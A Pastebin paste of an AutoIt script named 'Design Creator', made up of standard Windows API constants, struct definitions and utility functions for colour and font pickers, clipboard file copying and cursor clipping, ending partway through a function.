Thomas2500

Design Creator

Aug 22nd, 2012
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 27.85 KB | None | 0 0
  1. #NoTrayIcon
  2. Global Const $FW_DONTCARE = 0
  3. Global Const $FW_THIN = 100
  4. Global Const $FW_EXTRALIGHT = 200
  5. Global Const $FW_ULTRALIGHT = 200
  6. Global Const $FW_LIGHT = 300
  7. Global Const $FW_NORMAL = 400
  8. Global Const $FW_REGULAR = 400
  9. Global Const $FW_MEDIUM = 500
  10. Global Const $FW_SEMIBOLD = 600
  11. Global Const $FW_DEMIBOLD = 600
  12. Global Const $FW_BOLD = 700
  13. Global Const $FW_EXTRABOLD = 800
  14. Global Const $FW_ULTRABOLD = 800
  15. Global Const $FW_HEAVY = 900
  16. Global Const $FW_BLACK = 900
  17. Global Const $CF_EFFECTS = 256
  18. Global Const $CF_PRINTERFONTS = 2
  19. Global Const $CF_SCREENFONTS = 1
  20. Global Const $CF_NOSCRIPTSEL = 8388608
  21. Global Const $CF_INITTOLOGFONTSTRUCT = 64
  22. Global Const $LOGPIXELSX = 88
  23. Global Const $LOGPIXELSY = 90
  24. Global Const $ANSI_CHARSET = 0
  25. Global Const $BALTIC_CHARSET = 186
  26. Global Const $CHINESEBIG5_CHARSET = 136
  27. Global Const $DEFAULT_CHARSET = 1
  28. Global Const $EASTEUROPE_CHARSET = 238
  29. Global Const $GB2312_CHARSET = 134
  30. Global Const $GREEK_CHARSET = 161
  31. Global Const $HANGEUL_CHARSET = 129
  32. Global Const $MAC_CHARSET = 77
  33. Global Const $OEM_CHARSET = 255
  34. Global Const $RUSSIAN_CHARSET = 204
  35. Global Const $SHIFTJIS_CHARSET = 128
  36. Global Const $SYMBOL_CHARSET = 2
  37. Global Const $TURKISH_CHARSET = 162
  38. Global Const $VIETNAMESE_CHARSET = 163
  39. Global Const $OUT_CHARACTER_PRECIS = 2
  40. Global Const $OUT_DEFAULT_PRECIS = 0
  41. Global Const $OUT_DEVICE_PRECIS = 5
  42. Global Const $OUT_OUTLINE_PRECIS = 8
  43. Global Const $OUT_PS_ONLY_PRECIS = 10
  44. Global Const $OUT_RASTER_PRECIS = 6
  45. Global Const $OUT_STRING_PRECIS = 1
  46. Global Const $OUT_STROKE_PRECIS = 3
  47. Global Const $OUT_TT_ONLY_PRECIS = 7
  48. Global Const $OUT_TT_PRECIS = 4
  49. Global Const $CLIP_CHARACTER_PRECIS = 1
  50. Global Const $CLIP_DEFAULT_PRECIS = 0
  51. Global Const $CLIP_EMBEDDED = 128
  52. Global Const $CLIP_LH_ANGLES = 16
  53. Global Const $CLIP_MASK = 15
  54. Global Const $CLIP_STROKE_PRECIS = 2
  55. Global Const $CLIP_TT_ALWAYS = 32
  56. Global Const $ANTIALIASED_QUALITY = 4
  57. Global Const $DEFAULT_QUALITY = 0
  58. Global Const $DRAFT_QUALITY = 1
  59. Global Const $NONANTIALIASED_QUALITY = 3
  60. Global Const $PROOF_QUALITY = 2
  61. Global Const $DEFAULT_PITCH = 0
  62. Global Const $FIXED_PITCH = 1
  63. Global Const $VARIABLE_PITCH = 2
  64. Global Const $FF_DECORATIVE = 80
  65. Global Const $FF_DONTCARE = 0
  66. Global Const $FF_MODERN = 48
  67. Global Const $FF_ROMAN = 16
  68. Global Const $FF_SCRIPT = 64
  69. Global Const $FF_SWISS = 32
  70. Global Const $TAGPOINT = "struct;long X;long Y;endstruct"
  71. Global Const $TAGRECT = "struct;long Left;long Top;long Right;long Bottom;endstruct"
  72. Global Const $TAGSIZE = "struct;long X;long Y;endstruct"
  73. Global Const $TAGMARGINS = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
  74. Global Const $TAGFILETIME = "struct;dword Lo;dword Hi;endstruct"
  75. Global Const $TAGSYSTEMTIME = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
  76. Global Const $TAGTIME_ZONE_INFORMATION = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
  77. Global Const $TAGNMHDR = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
  78. Global Const $TAGCOMBOBOXEXITEM = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
  79. Global Const $TAGNMCBEDRAGBEGIN = $TAGNMHDR & ";int ItemID;wchar szText[260]"
  80. Global Const $TAGNMCBEENDEDIT = $TAGNMHDR & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
  81. Global Const $TAGNMCOMBOBOXEX = $TAGNMHDR & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
  82. Global Const $TAGDTPRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
  83. Global Const $TAGNMDATETIMECHANGE = $TAGNMHDR & ";dword Flag;" & $TAGSYSTEMTIME
  84. Global Const $TAGNMDATETIMEFORMAT = $TAGNMHDR & ";ptr Format;" & $TAGSYSTEMTIME & ";ptr pDisplay;wchar Display[64]"
  85. Global Const $TAGNMDATETIMEFORMATQUERY = $TAGNMHDR & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
  86. Global Const $TAGNMDATETIMEKEYDOWN = $TAGNMHDR & ";int VirtKey;ptr Format;" & $TAGSYSTEMTIME
  87. Global Const $TAGNMDATETIMESTRING = $TAGNMHDR & ";ptr UserString;" & $TAGSYSTEMTIME & ";dword Flags"
  88. Global Const $TAGEVENTLOGRECORD = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
  89. Global Const $TAGGDIPBITMAPDATA = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
  90. Global Const $TAGGDIPENCODERPARAM = "byte GUID[16];ulong Count;ulong Type;ptr Values"
  91. Global Const $TAGGDIPENCODERPARAMS = "uint Count;byte Params[1]"
  92. Global Const $TAGGDIPRECTF = "float X;float Y;float Width;float Height"
  93. Global Const $TAGGDIPSTARTUPINPUT = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
  94. Global Const $TAGGDIPSTARTUPOUTPUT = "ptr HookProc;ptr UnhookProc"
  95. Global Const $TAGGDIPIMAGECODECINFO = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
  96. Global Const $TAGGDIPPENCODERPARAMS = "uint Count;byte Params[1]"
  97. Global Const $TAGHDITEM = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
  98. Global Const $TAGNMHDDISPINFO = $TAGNMHDR & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
  99. Global Const $TAGNMHDFILTERBTNCLICK = $TAGNMHDR & ";int Item;" & $TAGRECT
  100. Global Const $TAGNMHEADER = $TAGNMHDR & ";int Item;int Button;ptr pItem"
  101. Global Const $TAGGETIPADDRESS = "byte Field4;byte Field3;byte Field2;byte Field1"
  102. Global Const $TAGNMIPADDRESS = $TAGNMHDR & ";int Field;int Value"
  103. Global Const $TAGLVFINDINFO = "struct;uint Flags;ptr Text;lparam Param;" & $TAGPOINT & ";uint Direction;endstruct"
  104. Global Const $TAGLVHITTESTINFO = $TAGPOINT & ";uint Flags;int Item;int SubItem;int iGroup"
  105. Global Const $TAGLVITEM = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
  106. Global Const $TAGNMLISTVIEW = $TAGNMHDR & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
  107. Global Const $TAGNMLVCUSTOMDRAW = "struct;" & $TAGNMHDR & ";dword dwDrawStage;handle hdc;" & $TAGRECT & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
  108. Global Const $TAGNMLVDISPINFO = $TAGNMHDR & ";" & $TAGLVITEM
  109. Global Const $TAGNMLVFINDITEM = $TAGNMHDR & ";int Start;" & $TAGLVFINDINFO
  110. Global Const $TAGNMLVGETINFOTIP = $TAGNMHDR & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
  111. Global Const $TAGNMITEMACTIVATE = $TAGNMHDR & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $TAGPOINT & ";lparam lParam;uint KeyFlags"
  112. Global Const $TAGNMLVKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
  113. Global Const $TAGNMLVSCROLL = $TAGNMHDR & ";int DX;int DY"
  114. Global Const $TAGMCHITTESTINFO = "uint Size;" & $TAGPOINT & ";uint Hit;" & $TAGSYSTEMTIME & ";" & $TAGRECT & ";int iOffset;int iRow;int iCol"
  115. Global Const $TAGMCMONTHRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
  116. Global Const $TAGMCRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
  117. Global Const $TAGMCSELRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
  118. Global Const $TAGNMDAYSTATE = $TAGNMHDR & ";" & $TAGSYSTEMTIME & ";int DayState;ptr pDayState"
  119. Global Const $TAGNMSELCHANGE = $TAGNMHDR & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
  120. Global Const $TAGNMOBJECTNOTIFY = $TAGNMHDR & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
  121. Global Const $TAGNMTCKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
  122. Global Const $TAGTVITEM = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
  123. Global Const $TAGTVITEMEX = "struct;" & $TAGTVITEM & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
  124. Global Const $TAGNMTREEVIEW = $TAGNMHDR & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
  125. Global Const $TAGNMTVCUSTOMDRAW = "struct;" & $TAGNMHDR & ";dword DrawStage;handle HDC;" & $TAGRECT & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
  126. Global Const $TAGNMTVDISPINFO = $TAGNMHDR & ";" & $TAGTVITEM
  127. Global Const $TAGNMTVGETINFOTIP = $TAGNMHDR & ";ptr Text;int TextMax;handle hItem;lparam lParam"
  128. Global Const $TAGTVHITTESTINFO = $TAGPOINT & ";uint Flags;handle Item"
  129. Global Const $TAGNMTVKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
  130. Global Const $TAGNMMOUSE = $TAGNMHDR & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $TAGPOINT & ";lparam HitInfo"
  131. Global Const $TAGTOKEN_PRIVILEGES = "dword Count;align 4;int64 LUID;dword Attributes"
  132. Global Const $TAGIMAGEINFO = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $TAGRECT
  133. Global Const $TAGMENUINFO = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
  134. Global Const $TAGMENUITEMINFO = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
  135. Global Const $TAGREBARBANDINFO = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $TAGRECT & ";uint uChevronState"
  136. Global Const $TAGNMREBARAUTOBREAK = $TAGNMHDR & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
  137. Global Const $TAGNMRBAUTOSIZE = $TAGNMHDR & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
  138. Global Const $TAGNMREBAR = $TAGNMHDR & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
  139. Global Const $TAGNMREBARCHEVRON = $TAGNMHDR & ";uint uBand;uint wID;lparam lParam;" & $TAGRECT & ";lparam lParamNM"
  140. Global Const $TAGNMREBARCHILDSIZE = $TAGNMHDR & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
  141. Global Const $TAGCOLORSCHEME = "dword Size;dword BtnHighlight;dword BtnShadow"
  142. Global Const $TAGNMTOOLBAR = $TAGNMHDR & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $TAGRECT
  143. Global Const $TAGNMTBHOTITEM = $TAGNMHDR & ";int idOld;int idNew;dword dwFlags"
  144. Global Const $TAGTBBUTTON = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
  145. Global Const $TAGTBBUTTONINFO = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
  146. Global Const $TAGNETRESOURCE = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
  147. Global Const $TAGOVERLAPPED = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
  148. Global Const $TAGOPENFILENAME = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
  149. Global Const $TAGBITMAPINFO = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad"
  150. Global Const $TAGBLENDFUNCTION = "byte Op;byte Flags;byte Alpha;byte Format"
  151. Global Const $TAGGUID = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
  152. Global Const $TAGWINDOWPLACEMENT = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
  153. Global Const $TAGWINDOWPOS = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
  154. Global Const $TAGSCROLLINFO = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
  155. Global Const $TAGSCROLLBARINFO = "dword cbSize;" & $TAGRECT & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
  156. Global Const $TAGLOGFONT = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
  157. Global Const $TAGKBDLLHOOKSTRUCT = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
  158. Global Const $TAGPROCESS_INFORMATION = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
  159. Global Const $TAGSTARTUPINFO = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
  160. Global Const $TAGSECURITY_ATTRIBUTES = "dword Length;ptr Descriptor;bool InheritHandle"
  161. Global Const $TAGWIN32_FIND_DATA = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
  162. Global Const $TAGTEXTMETRIC = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
  163. Func _WINAPI_GETLASTERROR($CURERR = @error, $CUREXT = @extended)
  164.     Local $ARESULT = DllCall("kernel32.dll", "dword", "GetLastError")
  165.     Return SetError($CURERR, $CUREXT, $ARESULT[0])
  166. EndFunc
  167. Func _WINAPI_SETLASTERROR($IERRCODE, $CURERR = @error, $CUREXT = @extended)
  168.     DllCall("kernel32.dll", "none", "SetLastError", "dword", $IERRCODE)
  169.     Return SetError($CURERR, $CUREXT)
  170. EndFunc
  171. Global Const $__MISCCONSTANT_CC_ANYCOLOR = 256
  172. Global Const $__MISCCONSTANT_CC_FULLOPEN = 2
  173. Global Const $__MISCCONSTANT_CC_RGBINIT = 1
  174. Global Const $TAGCHOOSECOLOR = "dword Size;hwnd hWndOwnder;handle hInstance;dword rgbResult;ptr CustColors;dword Flags;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName"
  175. Global Const $TAGCHOOSEFONT = "dword Size;hwnd hWndOwner;handle hDC;ptr LogFont;int PointSize;dword Flags;dword rgbColors;lparam CustData;" & "ptr fnHook;ptr TemplateName;handle hInstance;ptr szStyle;word FontType;int SizeMin;int SizeMax"
  176. Func _CHOOSECOLOR($IRETURNTYPE = 0, $ICOLORREF = 0, $IREFTYPE = 0, $HWNDOWNDER = 0)
  177.     Local $CUSTCOLORS = "dword[16]"
  178.     Local $TCHOOSE = DllStructCreate($TAGCHOOSECOLOR)
  179.     Local $TCC = DllStructCreate($CUSTCOLORS)
  180.     If $IREFTYPE = 1 Then
  181.         $ICOLORREF = Int($ICOLORREF)
  182.     ElseIf $IREFTYPE = 2 Then
  183.         $ICOLORREF = Hex(String($ICOLORREF), 6)
  184.         $ICOLORREF = "0x" & StringMid($ICOLORREF, 5, 2) & StringMid($ICOLORREF, 3, 2) & StringMid($ICOLORREF, 1, 2)
  185.     EndIf
  186.     DllStructSetData($TCHOOSE, "Size", DllStructGetSize($TCHOOSE))
  187.     DllStructSetData($TCHOOSE, "hWndOwnder", $HWNDOWNDER)
  188.     DllStructSetData($TCHOOSE, "rgbResult", $ICOLORREF)
  189.     DllStructSetData($TCHOOSE, "CustColors", DllStructGetPtr($TCC))
  190.     DllStructSetData($TCHOOSE, "Flags", BitOR($__MISCCONSTANT_CC_ANYCOLOR, $__MISCCONSTANT_CC_FULLOPEN, $__MISCCONSTANT_CC_RGBINIT))
  191.     Local $ARESULT = DllCall("comdlg32.dll", "bool", "ChooseColor", "struct*", $TCHOOSE)
  192.     If @error Then Return SetError(@error, @extended, -1)
  193.     If $ARESULT[0] = 0 Then Return SetError(-3, -3, -1)
  194.     Local $COLOR_PICKED = DllStructGetData($TCHOOSE, "rgbResult")
  195.     If $IRETURNTYPE = 1 Then
  196.         Return "0x" & Hex(String($COLOR_PICKED), 6)
  197.     ElseIf $IRETURNTYPE = 2 Then
  198.         $COLOR_PICKED = Hex(String($COLOR_PICKED), 6)
  199.         Return "0x" & StringMid($COLOR_PICKED, 5, 2) & StringMid($COLOR_PICKED, 3, 2) & StringMid($COLOR_PICKED, 1, 2)
  200.     ElseIf $IRETURNTYPE = 0 Then
  201.         Return $COLOR_PICKED
  202.     Else
  203.         Return SetError(-4, -4, -1)
  204.     EndIf
  205. EndFunc
  206. Func _CHOOSEFONT($SFONTNAME = "Courier New", $IPOINTSIZE = 10, $ICOLORREF = 0, $IFONTWEIGHT = 0, $IITALIC = False, $IUNDERLINE = False, $ISTRIKETHRU = False, $HWNDOWNER = 0)
  207.     Local $ITALIC = 0, $UNDERLINE = 0, $STRIKEOUT = 0
  208.     Local $LNGDC = __MISC_GETDC(0)
  209.     Local $LFHEIGHT = Round(($IPOINTSIZE * __MISC_GETDEVICECAPS($LNGDC, $LOGPIXELSX)) / 72, 0)
  210.     __MISC_RELEASEDC(0, $LNGDC)
  211.     Local $TCHOOSEFONT = DllStructCreate($TAGCHOOSEFONT)
  212.     Local $TLOGFONT = DllStructCreate($TAGLOGFONT)
  213.     DllStructSetData($TCHOOSEFONT, "Size", DllStructGetSize($TCHOOSEFONT))
  214.     DllStructSetData($TCHOOSEFONT, "hWndOwner", $HWNDOWNER)
  215.     DllStructSetData($TCHOOSEFONT, "LogFont", DllStructGetPtr($TLOGFONT))
  216.     DllStructSetData($TCHOOSEFONT, "PointSize", $IPOINTSIZE)
  217.     DllStructSetData($TCHOOSEFONT, "Flags", BitOR($CF_SCREENFONTS, $CF_PRINTERFONTS, $CF_EFFECTS, $CF_INITTOLOGFONTSTRUCT, $CF_NOSCRIPTSEL))
  218.     DllStructSetData($TCHOOSEFONT, "rgbColors", $ICOLORREF)
  219.     DllStructSetData($TCHOOSEFONT, "FontType", 0)
  220.     DllStructSetData($TLOGFONT, "Height", $LFHEIGHT)
  221.     DllStructSetData($TLOGFONT, "Weight", $IFONTWEIGHT)
  222.     DllStructSetData($TLOGFONT, "Italic", $IITALIC)
  223.     DllStructSetData($TLOGFONT, "Underline", $IUNDERLINE)
  224.     DllStructSetData($TLOGFONT, "Strikeout", $ISTRIKETHRU)
  225.     DllStructSetData($TLOGFONT, "FaceName", $SFONTNAME)
  226.     Local $ARESULT = DllCall("comdlg32.dll", "bool", "ChooseFontW", "struct*", $TCHOOSEFONT)
  227.     If @error Then Return SetError(@error, @extended, -1)
  228.     If $ARESULT[0] = 0 Then Return SetError(-3, -3, -1)
  229.     Local $FONTNAME = DllStructGetData($TLOGFONT, "FaceName")
  230.     If StringLen($FONTNAME) = 0 And StringLen($SFONTNAME) > 0 Then $FONTNAME = $SFONTNAME
  231.     If DllStructGetData($TLOGFONT, "Italic") Then $ITALIC = 2
  232.     If DllStructGetData($TLOGFONT, "Underline") Then $UNDERLINE = 4
  233.     If DllStructGetData($TLOGFONT, "Strikeout") Then $STRIKEOUT = 8
  234.     Local $ATTRIBUTES = BitOR($ITALIC, $UNDERLINE, $STRIKEOUT)
  235.     Local $SIZE = DllStructGetData($TCHOOSEFONT, "PointSize") / 10
  236.     Local $COLORREF = DllStructGetData($TCHOOSEFONT, "rgbColors")
  237.     Local $WEIGHT = DllStructGetData($TLOGFONT, "Weight")
  238.     Local $COLOR_PICKED = Hex(String($COLORREF), 6)
  239.     Return StringSplit($ATTRIBUTES & "," & $FONTNAME & "," & $SIZE & "," & $WEIGHT & "," & $COLORREF & "," & "0x" & $COLOR_PICKED & "," & "0x" & StringMid($COLOR_PICKED, 5, 2) & StringMid($COLOR_PICKED, 3, 2) & StringMid($COLOR_PICKED, 1, 2), ",")
  240. EndFunc
  241. Func _CLIPPUTFILE($SFILE, $SSEPARATOR = "|")
  242.     Local Const $GMEM_MOVEABLE = 2, $CF_HDROP = 15
  243.     $SFILE &= $SSEPARATOR & $SSEPARATOR
  244.     Local $NGLOBMEMSIZE = 2 * (StringLen($SFILE) + 20)
  245.     Local $ARESULT = DllCall("user32.dll", "bool", "OpenClipboard", "hwnd", 0)
  246.     If @error Or $ARESULT[0] = 0 Then Return SetError(1, _WINAPI_GETLASTERROR(), False)
  247.     Local $IERROR = 0, $ILASTERROR = 0
  248.     $ARESULT = DllCall("user32.dll", "bool", "EmptyClipboard")
  249.     If @error Or Not $ARESULT[0] Then
  250.         $IERROR = 2
  251.         $ILASTERROR = _WINAPI_GETLASTERROR()
  252.     Else
  253.         $ARESULT = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $GMEM_MOVEABLE, "ulong_ptr", $NGLOBMEMSIZE)
  254.         If @error Or Not $ARESULT[0] Then
  255.             $IERROR = 3
  256.             $ILASTERROR = _WINAPI_GETLASTERROR()
  257.         Else
  258.             Local $HGLOBAL = $ARESULT[0]
  259.             $ARESULT = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $HGLOBAL)
  260.             If @error Or Not $ARESULT[0] Then
  261.                 $IERROR = 4
  262.                 $ILASTERROR = _WINAPI_GETLASTERROR()
  263.             Else
  264.                 Local $HLOCK = $ARESULT[0]
  265.                 Local $DROPFILES = DllStructCreate("dword pFiles;" & $TAGPOINT & ";bool fNC;bool fWide;wchar[" & StringLen($SFILE) + 1 & "]", $HLOCK)
  266.                 If @error Then Return SetError(5, 6, False)
  267.                 Local $TEMPSTRUCT = DllStructCreate("dword;long;long;bool;bool")
  268.                 DllStructSetData($DROPFILES, "pFiles", DllStructGetSize($TEMPSTRUCT))
  269.                 DllStructSetData($DROPFILES, "X", 0)
  270.                 DllStructSetData($DROPFILES, "Y", 0)
  271.                 DllStructSetData($DROPFILES, "fNC", 0)
  272.                 DllStructSetData($DROPFILES, "fWide", 1)
  273.                 DllStructSetData($DROPFILES, 6, $SFILE)
  274.                 For $I = 1 To StringLen($SFILE)
  275.                     If DllStructGetData($DROPFILES, 6, $I) = $SSEPARATOR Then DllStructSetData($DROPFILES, 6, Chr(0), $I)
  276.                 Next
  277.                 $ARESULT = DllCall("user32.dll", "handle", "SetClipboardData", "uint", $CF_HDROP, "handle", $HGLOBAL)
  278.                 If @error Or Not $ARESULT[0] Then
  279.                     $IERROR = 6
  280.                     $ILASTERROR = _WINAPI_GETLASTERROR()
  281.                 EndIf
  282.                 $ARESULT = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $HGLOBAL)
  283.                 If (@error Or Not $ARESULT[0]) And Not $IERROR And _WINAPI_GETLASTERROR() Then
  284.                     $IERROR = 8
  285.                     $ILASTERROR = _WINAPI_GETLASTERROR()
  286.                 EndIf
  287.             EndIf
  288.             $ARESULT = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $HGLOBAL)
  289.             If (@error Or $ARESULT[0]) And Not $IERROR Then
  290.                 $IERROR = 9
  291.                 $ILASTERROR = _WINAPI_GETLASTERROR()
  292.             EndIf
  293.         EndIf
  294.     EndIf
  295.     $ARESULT = DllCall("user32.dll", "bool", "CloseClipboard")
  296.     If (@error Or Not $ARESULT[0]) And Not $IERROR Then Return SetError(7, _WINAPI_GETLASTERROR(), False)
  297.     If $IERROR Then Return SetError($IERROR, $ILASTERROR, False)
  298.     Return True
  299. EndFunc
  300. Func _IIF($FTEST, $VTRUEVAL, $VFALSEVAL)
  301.     If $FTEST Then
  302.         Return $VTRUEVAL
  303.     Else
  304.         Return $VFALSEVAL
  305.     EndIf
  306. EndFunc
  307. Func _MOUSETRAP($ILEFT = 0, $ITOP = 0, $IRIGHT = 0, $IBOTTOM = 0)
  308.     Local $ARESULT
  309.     If @NumParams == 0 Then
  310.         $ARESULT = DllCall("user32.dll", "bool", "ClipCursor", "ptr", 0)
  311.         If @error Or Not $ARESULT[0] Then Return SetError(1, _WINAPI_GETLASTERROR(), False)
  312.     Else
  313.         If @NumParams == 2 Then
  314.             $IRIGHT = $ILEFT + 1
  315.             $IBOTTOM = $ITOP + 1
  316.         EndIf
  317.         Local $TRECT = DllStructCreate($TAGRECT)
